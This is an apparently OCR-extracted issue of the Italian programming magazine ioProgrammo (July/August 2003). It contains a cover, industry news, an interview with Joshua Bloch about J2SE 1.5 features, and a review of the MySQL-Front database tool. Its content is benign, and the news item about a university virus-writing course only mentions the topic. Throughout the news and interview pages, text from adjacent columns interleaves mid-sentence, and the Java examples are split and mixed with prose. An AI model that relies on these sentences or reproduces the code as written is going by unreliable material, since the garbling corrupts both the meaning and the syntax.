Io Programmo 71
Io Programmo 71
IL COMPUTER
Il computer ti telefona e legge le e-mail - La televisione in una pagina Web - Le prime nozioni sulla realizzazione di un telecomando per PC
IN ALLEGATO
TI TELEFONA E
LEGGE LE E-MAIL
✔La realizzazione di un client di posta SISTEMA
Integrare l’intellisense
elettronica in Visual Basic anche nelle tue
applicazioni
✔Come far leggere al PC i tuoi
documenti di testo Generare file PDF a partire
da un documento XML
✔L’utilizzo di un componente ActiveX Steganografia:
per pilotare il modem, anche da remoto! l’arte di nascondere
le informazioni
PALMARI
Una sola applicazione
per più dispositivi:
cellulari, palmari e PC
La sincronizzazione dei
dati con SQL Server CE
La televisione
IOPL71
IOPL71
IOPL71
IOPL71
IOPL71
LIGHTWAVE: LE TEXTURE IN AMBIENTI RENDERIZZATI ioProgrammo (Plus) Anno VII - N° 7 (71) • E 15,00
004 editor 11-06-2003 17:18 Pagina 1
Contents
Anno VII - n. 7 (71) Luglio/Agosto 2003 G G G G G G G G G G G G G G G G
letano, giusto perché sono nato a Napoli anch’io! G Ottimizzare l’accesso ai database con JDBC 122
N E W S G G G G G G G G G G G G G G G G G G G G
A l "Software Symposium" di
Monaco di Baviera IBM ha
presentato i primi frutti della recente
attirata gli strali da una larga fetta
della comunità scientifica. La paura è
tecnologie MySQL. Lo scopo è
insomma quello di prendere il meglio
che nasca una nuova generazione di delle due aziende e trarne il maggior
acquisizione di Rational: Rational
hacker e che, il già affollato panorama profitto possibile.
Rapid Developer e Rational XDE
di virus, si popoli di nuovi e più La notizia diventa ancora più
Tester. Il primo è uno strumento RAD
aggressivi soggetti. A poco sono valse interessante se si pensa alla pressione
di alto livello (per l’occasione IBM ha
le spiegazioni dell’Università che ha cui saranno sottoposti gli attuali
coniato l’acronimo ARAD:
cercato di mettere le mani avanti dominatori del mercato DB: IBM,
“Architected” Rapid Application
spiegando che buona parte del corso Microsoft e Oracle potrebbero avere
Development Solution) che ha
sarà dedicata all’etica e ai codici di ora un reale nuovo concorrente. La
l’obiettivo di aiutare gli sviluppatori a
comportante di un saggio compagnia tedesca SAP è leader nel
costruire applicazioni business su
sviluppatore. settore del software aziendale e gode
piattaforma J2EE, attraverso un
Il motivo per cui un’università di un grosso seguito anche in Italia,
ambiente visuale che “isola” i
dovrebbe insegnare la parte oscura specialmente presso le grandi
progettisti dai più complessi dettagli
della programmazione lo ha dato aziende. Per venire in contro ai
implementativi, oltre a permettere ai
John Aycock, il docente del corso, il bisogni delle piccole e medie aziende,
programmatori di raggiungere più
quale sostiene che quando i suoi SAP ha da qualche anno deciso di
velocemente gli obiettivi prefissati
studenti saranno chiamati a costruire integrare un SAP DB, un database
grazie alla generazione automatica di
software di difesa contro i virus open source, in alcuni suoi prodotti,
codice. Questa caratteristica, oltre a
sapranno ragionare con la mente con lo scopo di non costringere i
semplificare la vita degli sviluppatori,
dell’hacker, e saranno dunque capaci clienti ad acquistare un DB da terze
garantisce anche una considerevole
di costruire software migliori e più parti.
robustezza nell’applicazione finale.
sicuri. I piani sono di sostituire SAP DB con
L’altro prodotto presentato, Rational
Insomma, l’idea è che per costruire MySQL, una volta che quest’ultimo
XDE Tester, si presenta come un
un antivirus, bisogna prima saper sia stato migliorato, anche alla luce
poderoso banco di prova per client
costruire un virus… delle tecnologie DB sviluppate da
Java e applicazioni Web-based.
SAP.
Costruito intorno al nucleo di Eclipse, [Link]
XDE Tester offre agli sviluppatori un [Link]
completo ambiente per lo sviluppo ed
il test delle applicazioni. SAP entra nei
[Link] database Open PlayStation 2:
Source il supercomputer
______________________________________________________ per la scienza
Un corso Un accordo con MySQL ha
______________________________________________________
6 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
006-009 news 4-06-2003 10:22 Pagina 7
E E E E E E E E E E E E E E E E E E E E N E W S
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 7
006-009 news 4-06-2003 10:23 Pagina 8
N E W S G G G G G G G G G G G G G G G G G G G G
Microsoft quindi: C# J# [Link] e rispetto a quelli dei server basati su Intel presenta
Visual C++ .NET. processori concorrenti a 64 bit. una libreria (Math
Janeva offre il vantaggio di aderire [Link]/it-it/ Kernel Library)
completamente agli standard per applicazioni
esistenti, sia quelli dettati da matematiche
Microsoft per il .NET Framework sia W3C propone ______________________________________________________
le specifiche J2EE imposte da Sun, sia il nuovo standard La nuova libreria offre
infine le specifiche per CORBA Soap 1.2 prestazioni da brivido su
dell’Object Management Group ______________________________________________________
processori con tecnologia
(OMG).
La versione finale è pronta Hyper Threading
[Link]
per essere rilasciata
Opteron segna nuovi S OAP è il protocollo che sta alla I ntel ha annunciato la nuova Math
Kernel Library 6.0, una libreria di
8 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
006-009 news 31-05-2003 9:50 Pagina 9
E E E E E E E E E E E E E E N E W S H A R D W A R E
MYPAL A620, il più Play di cui è dotato MyPal A620, inoltre, utenti che hanno la necessità di mantenere
piccolo pocket PC con consente la visualizzazione di video con un le performance più elevate in modo che cia-
slot compact flash frame rate di 60 fotogrammi al secondo, as- scun utilizzatore possa beneficiare piena-
integrato sicurando una fluidità delle immagini sen- mente dei vantaggi del protocollo utilizza-
______________________________________________________ za precedenti per dispositivi di questo tipo. to" ha aggiunto Maurizio Negri.
[Link] [Link]
MyPal A620 è dotato di
funzionalità avanzate, tra cui
SmartKeeper, un sistema di
U.S. Robotics 802.11g BenQ DC4500:
backup intelligente esclusivo
Wireless Turbo foto perfette in ogni
ASUS che procede al
______________________________________________________ condizione
______________________________________________________
salvataggio dei dati quando Il nuovo dispositivo wireless
la batteria sta per esaurirsi. dotato di "Accelerator BenQ presenta una nuova
Technology" permette di fotocamera digitale di alta
inviare e ricevere dati e qualità che consente di
C aratterizzato da dimensioni estrema-
mente contenute (125x76,6x13,3 mm)
ed un peso di appena 141 grammi, il nuovo
informazioni con velocità
fino a 100 Mbps.
realizzare fotografie
incantevoli ovunque.
PDA di ASUS è il più piccolo e leggero
Pocket PC integrante uno slot per Compact
Flash (CF) di tipo II. Grazie a questa carat-
teristica, MyPal A620 può essere dotato di
L a nuova gamma di soluzioni 802.11g
Wireless Turbo, offre agli utenti le mas-
sime prestazioni a oggi disponibili nell’am-
L a nuova fotocamera BenQ fornisce foto-
grafie di qualità superba sia su schermo
che in proiezione o stampa. Questa qualità
CF card Wi-Fi e Bluetooth e può, quindi, bito dei dispositivi wireless. La linea U.S. si accompagna a una facilità d'uso e un rap-
essere collegato senza fili a reti aziendali, Robotics 802.11g Wireless Turbo include un porto prezzo/prestazioni eccezionali. La
notebook, PC desktop e telefoni cellulari. router, un access point multifunzione, una tecnologia di questa fotocamera digitale
La presenza di uno slot CF, inoltre, consen- PC card e un PCI adapter, e si basa sull'e- raggiunge veramente un elevatissimo livel-
te di usufruire dei diversi add-on ed acces- sclusiva “Accelerator Technology" che lo di qualità. Il grande LCD mono consente
sori disponibili sul mercato in formato incrementa le prestazioni di rete fino a 100 di visualizzare chiaramente le immagini,
Compact Flash per trasformare il Pocket Mbps(1) su un singolo canale. "Il punto di mentre semplici icone indicano con chiarez-
PC, ad esempio, in navigatore satellitare forza della nuova linea di prodotti U.S. za le funzioni disponibili e rendono estre-
GPS, telefono GPRS, fotocamera digitale, Robotics 802.11g Wireless Turbo risiede nel- mamente semplice la scelta di quella più
lettore MP3 o radio FM. Tra i primissimi adatta. Inoltre, una modalità automatica
PDA ad essere equipaggiato con il nuovo permette di ottenere foto perfette evitando
processore Intel PXA255 a 400 MHz, MyPal scelte casuali. E tutto questo senza rinuncia-
A620 è oggi uno dei Pocket PC più potenti re alle funzioni avanzate che ci si aspetta da
e veloci presenti sul mercato e, grazie a 64
MB di memoria SDRAM ed a 32 MB di
Flash ROM, consente l'archiviazione di
un’ingente quantità di dati, nonché l'instal-
lazione di numerosi applicativi. Da sottoli-
neare anche le eccellenti doti della sezione
video, che vanta un display a colori sensibi- l’esclusiva tecnologia “Accelerator” che
le al tocco TFT da 3,5” di tipo transflective incrementa le performance dello standard
con una risoluzione di 240x320 pixel, in 802.11g da 54 Mbps fino a 100 Mbps", ha
grado di garantire una particolare brillan- dichiarato Maurizio Negri, Amministratore
tezza e un’elevata qualità d’immagine. La Delegato di U.S. Robotics. “La nuova una fotocamera di alta qualità. Con uno
speciale tecnologia ASUS Smoothly Video gamma di prodotti wireless di U.S. zoom ottico 3x e digitale 3x, 5 modalità di
Robotics raggiunge una velocità di throu- bilanciamento del bianco e 3 modalità di
ghput dati pressoché doppia rispetto a misurazione,BenQ introduce una speciale
quella di altri prodotti 802.11g. I nuovi modalità Night Scene per rendere più chia-
dispositivi permettono agli utenti di inviare re e vibranti le foto notturne. La DC4500 si
e ricevere informazioni con velocità, sicu- collega facilmente a una stampante e offre
rezza e compatibilità ad oggi senza eguali”. un'eccellente qualità di stampa. La risolu-
La linea 802.11g Wireless Turbo è totalmen- zione estremamente alta, fino a 2848x2136
te compatibile con tutti i dispositivi wire- pone questa fotocamera all'avanguardia
less 802.11g a 54 Mbps e 802.11b a 22 e 11 rispetto alla concorrenza. È compatta e una
Mbps. "La compatibilità con 802.11g e vera integrazione tra qualità, eleganza e
802.11b permette a ciascun dispositivo di puro divertimento di scattare fotografie
connettersi alla più alta velocità possibile: è ovunque.
quindi la soluzione ideale per reti con più [Link].
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 9
010-013 Intervista 5-06-2003 16:21 Pagina 10
I n d i r e t t a d a S U N G G G G G G G G G G G G G
Java 2 Standard
Edition 1.5
Una conversazione con Joshua Bloch per conoscere i vantaggi e
le difficoltà che comporterà il passaggio alla prossima generazione di Java.
Intervista di Janice J. Heiss
D
T
ra gli sviluppatori c’è molta cu- Nell’ambito del progetto “Ti- grammatori? In che modo dovranno
riosità sulla nuova versione di ger” si stanno apportando nu- cambiare il loro stile?
Java (J2SE 1.5), la cui prima beta merosi miglioramenti alla piattafor-
R
è prevista per la fine del 2003. Per capi- ma J2SE, tutti tesi a rendere i pro- In realtà, spero sinceramente che
re meglio quali saranno le novità della grammi più chiari, più corti, più robu- nessun cambiamento sarà parti-
nuova versione, la persona più indica- sti e più semplici da sviluppare, senza colarmente difficile per gli sviluppato-
ta è Joshua Bloch (senior staff engineer sacrificare la compatibilità. Puoi spie- ri. Se proprio devo scegliere quello che
di Sun Microsystems), uno dei perso- garci in perché sarà più facile lavora- può incidere maggiormente nelle abi-
naggi di spicco del Core Java Platform re con J2SE 1.5? tudini degli sviluppatori, potrebbe es-
Group che ha all’attivo lo sviluppo del sere l’introduzione dei generics. Con le
R
package [Link], oltre alla collabora- Le nuove caratteristiche del lin- nuove specifiche sarà infatti necessario
zione in molte altre parti della piat- guaggio hanno una cosa in comu- abituarsi a fornire alcune informazioni
taforma. ne: prendono alcuni costrutti idiomati- addizionali nelle dichiarazioni. Invece
Autore di numerosi articoli, Bloch ha ci usati generalmente dai programma- di dire semplicemente
anche scritto il libro “Effective Java tori e ne forniscono un supporto lin-
Programming Language Guide” vinci- guistico. In altre parole, è stata sposta- List words = new ArrayList();
D
versity. Quali cambiamenti saranno più estraiamo un elemento da una collec-
difficili da “digerire” per i pro- tion.
,
10 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
010-013 Intervista 4-06-2003 10:23 Pagina 11
E E E E E E E E E E E E E I n d i r e t t a d a S U N
Quindi, invece di: /** una colection, non facciamo altro che
* Rimuove tutte le parole di Quattro lettered a prenderne gli elementi. L’istruzione
String title = ((String) una particolare “for migliorata” fa sì che sia il compi-
[Link](i)).toUppercase(); * collezione, che deve contenere solo stringhe latore a costruire l’iterazione al posto
*/ nostro. Per esempio, ecco un metodo
Possiamo semplicemente scrivere: static void expurgate(Collection c) { che scandisce una collezione di timer
for (Iterator i = [Link](); [Link](); ) { utilizzando un iteratore:
String title = [Link](i).toUppercase(); String s = (String) [Link]();
if([Link]() == 4) void cancelAll(Collection c) {
[Link](); for (Iterator i = [Link](); [Link](); ) {
D
I miglioramenti riguarderanno
essenzialmente sei aree: ci fai } TimerTask tt = (TimerTask) [Link]();
• Miglioramenti nei cicli: avremo tenuto a passare esclusivamente collec- for (Object o : c)
degli iteratori più semplici e più tion di stringhe, ma il compilatore non ((TimerTask)o).cancel();
D
• Metadata: il supporto per i metadati Proviamo a combinare i gene-
consentirà ai vari tool disponibili di Ora risulta chiaro, dalla firma del me- rics ed un ciclo di “for migliora-
generare codice automaticamente, a todo, che la collezione ricevuta in in- to”?
partire dalle annotazioni indicate put DEVE contenere unicamente strin-
R
nel codice. Questa innovazione ri- ghe. Se il client prova a passare un col- Con piacere! Ecco l’esempio ap-
sulta particolarmente interessante, lezione di buffer di stringhe, il pro- pena illustrato con l’aggiunta dei
perché porta ad uno stile di pro- gramma non potrà essere compilato. generics:
grammazione “dichiarativo”, in cui Da notare anche che il metodo non
il programmatore “dice” cosa deve contiene alcun cast, è più breve di una void cancelAll(Collection<TimerTask> c) {
essere fatto ed i tool di turno genera- riga e, una volta chi ci si è abituati ai for (TimerTask task : c)
no il codice che soddisfa la richiesta. generics, risulta essere anche più sem- [Link]();
plice da leggere. }
D
Ci fai un esempio che illustri la
D
differenza tra filtrare una col- Parlaci un po’ del “for migliora- Io credo che sia davvero carino! Ora il
lection secondo le specifiche attuali to” programma dice esattamente cosa fa,
ed effettuare la stessa operazione con oltre a fornire il controllo dei tipi a run-
R
i generics? L’iterazione all’interno di una time.
collection è più “sgradevole” di
R D
Ecco come funziona con le attuali quanto sia necessario. Il più delle volte, Cosa ci puoi dire sull’auto-
specifiche del linguaggio: quando effettuiamo delle iterazioni in boxing?
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 11
010-013 Intervista 4-06-2003 10:24 Pagina 12
I n d i r e t t a d a S U N G G G G G G G G G G G G G G
R
Come saprai, il linguaggio Java Una vera melodia! Una cosa merita di metodo pubblico… e questo è solo un
ha un duplice sistema per i tipi: essere notata: questo programma sup- piccolo esempio rispetto a quello che si
alcuni tipi sono primitivi, mentre altri pone che quando effettuiamo l’auto- può fare!
risultano essere riferimenti ad oggetti. unbox di null, otteniamo zero. Questa
D
Non è possibile inserire dei tipi primi- rimane ancora una questione aperta: Ci mostri una classe che utilizza
tivi nelle collezioni, ed una situazione l’alternativa sarebbe quella di lanciare l’oggetto enum che hai appena
tipica è quella in cui siamo costretti a una NullPointerException. Entrambe le definito?
effettuare conversioni e riconversioni soluzioni presentano i loro vantaggi:
R
continuamente fra tipi primitivi e tipi ottenere zero come unbox di null risul- Sinceramente, speravo che me lo
wrapped quando vogliamo salvare dei ta ottimo per applicazioni come quella chiedessi! Ecco un piccolo esem-
dati all’interno delle collezioni. Chiun- appena presentata ma potrebbe anche pio che stampa una tabella con l’elenco
que si sia trovato in queste condizioni portare a nascondere l’insorgere di al- delle monete e per ogni moneta il suo
può testimoniare quanto sia noiosa la cuni errori. Se qualche lettore ritiene di colore e valore:
cosa. Ad esempio, diamo un’occhiata avere suggerimenti utili, lo invito a
al programma riportato di seguito, che contattare il gruppo di esperti JSR-201. public class CoinTest {
genera una tabella contenente i dati public static void main(String[] args) {
for (Coin c : [Link])
D
sulla frequenza con cui appaiono le pa- Quali sono i vantaggi dei nuovi
role sulla riga di comando. L’applica- pattern Typesafe Enum rispetto [Link](c + ": \t"
zione utilizza un oggetto Map, le cui al vecchio Int Enum? + [Link]() +"¢ \t" + color(c));}
chiavi sono le parole ed i cui valori so- private enum CoinColor { copper, nickel,
silver }
R
no il numero di volte che la parola ap- Cercherò di riassumerli breve-
pare nella linea: mente: private static CoinColor color(Coin c) {
switch(c) {
public class Freq { • i nuovi pattern consentono il con- case [Link]: return
private static final Integer ONE = trollo della correttezza dei tipi a [Link];
new Integer(1); tempo di compilazione case [Link]: return [Link];
public static void main(String args[]) { • forniscono un apposito namespace case [Link]:
// Maps word (String) to frequency per i tipi enumerati case [Link]: return [Link];
(Integer) • grazie al fatto di essere oggetti, è default: throw new AssertionError(
Map m = new TreeMap(); possibile inserirli nelle collection "Unknown coin: " + c);}
for (int i=0; i<[Link]; i++) { • essendo derivati da classi, è possi- } }
Integer freq = (Integer) [Link](args[i]); bile arricchirli arbitrariamente con
[Link](args[i], (freq==null ? ONE : campi e metodi Visto come abbiamo dichiarato un altro
new Integer([Link]() + 1))); oggetto enum per i colori? Grazie al fat-
}
D
Sembra davvero potente! Potre- to che monete e colori hanno namespa-
[Link](m); sti illustrare con un esempio le ce differenti, abbiamo potuto dichiara-
} nuove possibilità offerte dalla enu- re sia un oggetto Coin chiamato nickel,
} merazione typesafe? sia un colore nickel. Inoltre, hai visto
come è comodo effettuare lo switch fra
R
Riesci a vedere quanta confusione crea- Certo, ecco una rappresentazione le varie costanti di un oggetto enum?
no i cicli innestati? Ora diamo un’oc- delle monete disponibili in Ame- Questo sistema di switch torna può tor-
chiata a come appare lo stesso pro- rica: nare particolarmente utile nel momen-
gramma riscritto utilizzando auto- to in cui vogliamo “aggiungere un me-
boxing, generics, ed un ciclo con il “for public enum Coin { todo” ad una classe enum, senza modi-
migliorato” penny(1), nickel(5), dime(10), quarter(25); ficare la classe stessa per qualche moti-
Coin(int value) { [Link] = value; } vo.
public class Freq { private final int value;
public static void main(String args[]) { public int value() { return value; } }
D
Sembra davvero una cosa ben
Map<String, Integer> m = new fatta. Cosa offrirà agli sviluppa-
TreeMap<String, Integer>(); Da notare come le dichiarazioni di co- tori la nuova clausola di static im-
for (String word : args) stanti invocano un costruttore, passan- port?
[Link](word, [Link](word) + 1); do un int che rappresenta il valore in
[Link](m);
R
centesimi. E’ anche interessante il fatto Consente agli sviluppatori utiliz-
} che il valore è immagazzinato in un zare membri statici senza dover
} campo privato reso accessibile da un ogni volta indicare i nomi delle classi
12 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
010-013 Intervista 4-06-2003 10:24 Pagina 13
E E E E E E E E E E E E E I n d i r e t t a d a S U N
grammatori hanno implementato la co- Nota che il tutto funziona sia con Phy- ... }
siddetta constant interface per ottenere sics definito come interfaccia, sia defi- }
R
La questione è leggermente di- 175 costituiscono solo un fra-
public class Guacamole implements Physics { versa rispetto a quelle discusse fi- mework che permette ad altri di defi-
public static void main(String[] args) { nora. Anche in questo caso l’innovazio- nire gli attributi e scrivere dei tool mi-
double moles = ...; ne è orientata a semplificare la vita dei gliori. Altri gruppi JSR (come ad esem-
double molecules = programmatori, ma con l’aiuto di chi pio il JSR-181 che sta definendo i meta-
AVOGADROS_NUMBER * moles; costruisce i tool di sviluppo. Nella pro- dati per i Web Services) sono impegna-
... grammazione attuale capita spesso che ti proprio nella definizione degli attri-
}} le API richiedano la scrittura di codice buti. Ci aspettiamo grandi novità in
ripetitivo (boilerplate). Ad esempio, questo campo.
E questa è davvero una pessima idea: quando andiamo a definire un Web
D
le interfacce servono a definire tipi, Service con JAX-RPC, dobbiamo forni- Guardando al futuro, quali ul-
non a fornire costanti. Il fatto che la re sia un’interfaccia che un’implemen- teriori cambiamenti prevedi per
classe Guacamole utilizzi delle costanti tazione per la classe: il linguaggio Java?
fisiche è solo un dettaglio implementa-
public interface CoffeeOrderIF extends
R
tivo eppure, attraverso la constant in- E’ difficile da dire: sono troppo
terface, si infiltra fra le API pubbliche [Link] { impegnato nello sviluppo di Ti-
della classe Guacamole. Non solo la co- public Coffee [] getPriceList() ger per pensare a cosa verrà dopo.
sa può generare confusione nei client throws [Link];
public String orderCoffee(String name,
D
che vogliano utilizzare questa classe, C’è un messaggio che vuoi lan-
abbiamo anche un altro e più grave ef- int quantity) ciare altermine di questa inter-
fetto: così facendo abbiamo creato un throws [Link]; } vista?
pesante vincolo per il futuro. Quando public class CoffeeOrderImpl implements
CoffeeOrderIF {
R
vorremo re-implementare la classe Vorrei dire che, più di tutto, Tiger è
Guacamole in modo che non abbia più public Coffee [] getPriceList() { una release orientata agli sviluppa-
bisogno di quelle costanti, saremo co- ... } tori. Quando il linguaggio di program-
stretti a implementarne l’interfaccia public String orderCoffee(String name, mazione Java fu presentato da James
giacché alcuni client della classe Guaca- int quantity) { Gosling e dal suo team, ebbe un succes-
mole potrebbero far riferimento a Phy- ...} } so strepitoso proprio perché veniva in
sics. L’import statico offre una alterna- contro alle reali esigenze degli sviluppa-
tiva pulita a tutto questo: è del tutto Con il supporto per i metadati, non sarà tori. Questa ulteriore release vuole con-
analogo all’import dei package, tranne più necessario scrivere in prima perso- tinuare sulla strada tracciata da Gosling.
per il fatto che in questo caso importia- na tutto questo codice: sarà sufficiente Ho avuto la fortuna di giocare con i pri-
mo membri statici da una classe invece inserire una nota che suggerisca ai tool mi prototipi di Tiger e le nuove caratte-
che da un package. quali metodi saranno utilizzati in remo- ristiche sono state una vera gioia. Ho la
Eccone un esempio: to e il tool si occuperà di generare tutto più assoluta convinzione che anche gli
il codice appena visto. Ecco come si pre- altri sviluppatori le apprezzeranno al-
import static [Link].*; senta il codice con i metadati: trettanto. Le nuove caratteristiche ga-
class Guacamole { rantiranno maggiore divertimento e più
public static void main(String[] args) { import [Link].*; produttività ad un linguaggio che era
double molecules = public class CoffeeOrder { già il più divertente ed efficace sulla
AVOGADROS_NUMBER * moles; @Remote public Coffee [] getPriceList() { piazza!
... } ... } Traduzione a cura di Raffaele del Monaco
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 13
015-025 soft 31-05-2003 9:52 Pagina 15
G G G G G G G G G G G I L S O F T W A R E S U L C D
Il Software
di ioProgrammo
MySQL-Front
Una pratica interfaccia grafica che ci aiuterà a lavorare più comodamente
con il noto database open source.
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 15
015-025 soft 31-05-2003 9:52 Pagina 16
I L S O F T W A R E S U L C D G G G G G G G G G G G
quale si effettua l’installazione. La buona notizia è che, come abbia- per evitare di commettere grossolani errori nella scrittura del codi-
mo avuto modo di verificare, tali componenti sono senza dubbio ce). Dalla versione 1.18 è disponibile anche una funzionalità chiave,
presenti se sul vostro host avete effettuato l’installazione di MySQL la prima che abbiamo appreso utilizzando questo strumento (ci si
e, opzionalmente, di un altro DBMS come Microsoft Access. Vedia- perdoni, ancora, la vena nostalgica) e che costituisce, a nostro pare-
mo dunque questa breve lista di componenti. In primo luogo, è ne- re, da sola un motivo per utilizzare questo strumento, ovvero la
cessaria la presenza di [Link], la libreria client per MySQL-Ser- possibilità di importare dati da sorgenti ODBC. È presente un co-
ver. Poi è necessaria la libreria C di runtime della Microsoft, ovvero mando specifico per l’importazione di database Access (sarà il pri-
[Link]. Ancora, è necessario che sulla macchina sulla quale ope- mo che vedremo nel successivo paragrafo), per cui, nel caso deci-
rate sia presente uno stack TCP/IP e, opzionalmente, che siano pre- diate di passare a MySQL, non perderete nemmeno il lavoro svolto
senti i driver ODBC per ognuna delle basi di dati dalle quali si vuo- fino a quel momento. Come vedremo, l’importazione avviene in
le effettuare l’importazione. Come ricordato, questi componenti so- una maniera assolutamente impeccabile, anche per basi di dati
no presenti nella maggior parte delle installazioni di Windows complesse, ed avendo una certa esperienza di prodotti per la tra-
/MySQL standard e, perciò, non ce ne occuperemo oltre. duzione automatica da un formato all’altro non possiamo che spen-
dere a iosa parole di elogio per le funzionalità di MySQL-Front.
Un’unica, curiosissima, caratteristica di questa importazione, è che
LE CARATTERISTICHE SUPPORTATE vengono importati come tabelle anche i dataset risultanti dall’ese-
DA MYSQL-FRONT cuzione delle query del nostro database.
Le funzionalità offerte da questo formidabile strumento (che i Let- Dalla versione 1.21 è poi presente il prompt di login ad un’installa-
tori mi perdonino l’entusiasmo con cui ne parlo) sono davvero mol- zione di MySQL, che andiamo ad esaminare all’inizio del successi-
tissime e tutte di indubbia utilità. In primo luogo, la creazione e l’e- vo paragrafo. Infine, risulta spesso preziosa la possibilità di effet-
liminazione (drop) di database e tabelle. Poi, la possibilità di ag- tuare una diagnostica completa check-optimize-repair-analyze delle
giungere, cancellare e modificare campi e record (una premessa: nel nostre tabelle.
seguito dell’articolo supporrò che al lettore siano noti i fondamenti
sulle basi di dati, perciò non mi dilungo, ad esempio, a spiegare co-
me le tabelle sono costituite da campi, adottando un certo punto di ALLA SCOPERTA DI MYSQL-FRONT
vista, e da record, adottandone un altro). Ancora, trattare i campi Per cominciare il nostro viaggio alla scoperta del formidabile front-
BLOB (Binary Large OBjects) e MEMO (con supporto alla memoriz- end grafico tedesco, ci portiamo nel gruppo di programmi MySQL-
zazione di immagini bitmap, GIF e JPEG) non dev’essere oggetto di Front e clicchiamo sulla voce omonima (Fig. 2).
timore per chi utilizza MySQL-Front. Il prodotto permette anche di
visualizzare la lista delle variabili utilizzate dal server MySQL cui ci
si connette (vedremo nel prossimo paragrafo come), e di visualiz-
zare e “killare” altri processi dell’utente. Una novità delle ultime
versioni è la possibilità di eseguire script SQL di grandi dimensio-
ni. È possibile altresì visualizzare proprietà avanzate delle tabelle,
come il tipo (Type), i commenti (Comment), la lunghezza delle chia-
vi (Key_Lenght) e così via. Una volta che si siano costruite, in ma-
niera visuale, le tabelle, è possibile esportarne la struttura ed i dati
in uno script SQL o in un altro database.
Tramite il comando “Export tables…” è possibile effettuare la replica
di un database fra due host. Volete un formato “di impatto” per i
vostri dati? Niente paura, è possibile esportare i dati dalle tabelle in
file CSV (Comma Separed Values, ovvero valori separati da virgole,
ideali ad esempio se volete importare ed effettuare analisi dei dati
con Microsoft Excel o, perché no, con OpenOffice Calc), o in tabelle
HTML. Questa funzionalità è “a due vie”, ovvero potete, altrettan-
to facilmente, copiare i dati da un file CSV o da una tabella HTML. Fig. 2: Il gruppo di programmi di MySQL-Front.
Ancora, è facile copiare il contenuto di una tabella in un’altra, con
un nome differente. Come tutti i DBMS (Data Base Management Sy-
stems) di livello professionale (e MySQL lo è!!), MySQL supporta la Ci viene presentato il prompt di login ad un’installazione di My-
multiutenza, e tramite MySQL-Front potete facilmente aggiungere SQL, come riportato dalla Fig. 3.
altri utenti fra i gestori della base di dati (e questo permette anche La connessione predefinita viene chiamata “MySQL” e, di default,
di risparmiare tempo nell’apprendere i comandi specifici di My- utilizza la porta 3306 ed un timeout di 30 secondi, mentre è neces-
SQL). Come se non bastasse, è immediato effettuare il flush di dati sario inserire il nome o l’indirizzo IP del server MySQL e le creden-
di sistema come l’elenco degli host, i log, i privilegi e le tabelle. Ove ziali (username e password) dell’utente che accederà a MySQL. Vo-
insorga la necessità di utilizzare script SQL (ad esempio per query lendo, si possono aggiungere i dati relativi ad altre connessioni a
complesse su un database), MySQL-Front ci viene in aiuto con un server MySQL differenti cliccando sul pulsante “New” (o cancella-
editor che supporta anche la syntax-highlighting (ovvero la caratteri- re i dati relativi ad una connessione cliccando su Delete). Ancora, è
stica, nota a chi utilizza editor di livello professionale, di evidenzia- possibile abilitare la compressione del protocollo di comunicazione
re con un colore diverso le parole-chiave del linguaggio, utilissima client/server o specificare l’accesso solo a determinati database (se
16 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
015-025 soft 31-05-2003 9:52 Pagina 17
G G G G G G G G G G G I L S O F T W A R E S U L C D
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 17
015-025 soft 31-05-2003 9:53 Pagina 18
I L S O F T W A R E S U L C D G G G G G G G G G G G
Fig. 10: Possiamo copiare i dati di una tabella come file CSV,
Fig. 7: Dalla vista “Table” possiamo editare campi, indici e come tabella HTML o come file XML.
foreign keys.
stranamente, nella vista “Database” non siamo in grado di creare sto modo invece che come un bug, perché potrebbe essere una scel-
nuove tabelle, né ci è d’aiuto il menu contestuale che appare facen- ta di progettazione, che però a nostro avviso non rispetta i canoni
do clic col tasto destro del mouse sul nome del database. È necessa- delle interfacce grafiche in ambiente Windows): non è possibile in-
rio ricorrere al comando “Create Table…” nel menu “Tools”: compa- serire direttamente i dati, è necessario portarsi nella scheda “Table”
re la finestra di dialogo della Fig. 8, nella quale andiamo ad inserire o “Database” e cliccare sul comando “Insert record…”; a questo pun-
il nome della tabella, un eventuale commento, il tipo di tabella (per to, possiamo tranquillamente inserire i nostri dati, come mostra la
molti versi è consigliabile il tipo InnoDB; si rilegga l’introduzione Fig. 9. L’unica accortezza da tenere presente, che potrebbe disorien-
per i vantaggi derivanti dall’adozione di questo tipo di tabelle) e, ad tare l’utente, è quella di cliccare sul pulsante “Post edit” (un simbo-
uno ad uno, i campi, settandone le caratteristiche nella parte destra lo di check in nero) posto nella barra degli strumenti superiore.A
della tabella, sempre in maniera visuale. questo punto, da menu contestuale possiamo esportare i nostri da-
ti come file CSV, come tabella HTML o come file XML, come mostra
la Fig. 10. Un ultimo cenno lo merita la gestione degli utenti. Clic-
cando sul pulsante “User manager” nella barra degli strumenti (lo
trovate anche, come comando, nel menu Tools) si apre la finestra di
dialogo mostrata in Fig. 11, nella quale possiamo aggiungere un
utente ed assegnargli gli opportuni privilegi per ogni database.
CONCLUSIONI
MySQL-Front presenta ancora qualche bug di secondaria impor-
tanza, ed ha un modus operandi che potrebbe disorientare l’utente
avvezzo alle interfacce Microsoft.
Ciò nonostante, la gratuità del prodotto, la sua versatilità e, in fon-
do, la sua facilità d’uso ne fanno un tool che non può mancare nel-
la “cassetta degli attrezzi” di chi sviluppa utilizzando il nostro ama-
Fig. 9: L’inserimento dei dati passa obbligatoriamente per il to MySQL.
pulsante “Insert record…” nella scheda “Database” o “Table”. Paolo De Nictolis
18 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
015-025 soft 4-06-2003 10:48 Pagina 23
